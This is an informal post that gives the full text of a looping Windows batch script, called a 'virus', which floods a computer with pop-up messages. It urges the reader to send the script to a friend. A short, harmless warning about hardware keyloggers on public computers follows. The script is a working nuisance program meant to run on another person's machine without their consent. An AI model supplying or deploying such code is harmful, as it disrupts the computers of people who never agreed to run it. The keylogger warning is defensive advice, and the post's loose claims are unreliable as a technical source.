Here is a way on how to create a simple batch file virus

Write it in a notepad Cycle a message in your friend's computer(code is given below)
Type :
Code:
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Save it as "Anything.BAT" and send it.

how is it.....?

BE CAREFUL WHEN YOU'RE USING A public-convenience computer

CHECK THE BACK OF THE PC AND SEE IF THE BELOW DEVICE IS THERE..... IF SO..then DO NOT USE IT!!!

Additional adapter

New storing device fits at the end of the keyboard cable connecting to the PC specialized to save all typed keys in it !!!!! Mostly could be used in net cafes, exhibitions, hotels and airports therefore be careful especially the people who use the internet in these places to enter their bank accounts online or any other important sites. After you enter the bank account and leave the PC it will be easy to open your account again as all what you have typed has been saved in the Black device. Therefore, you should check the PC for any suspicious piece behind it before using the net in public places for important sites.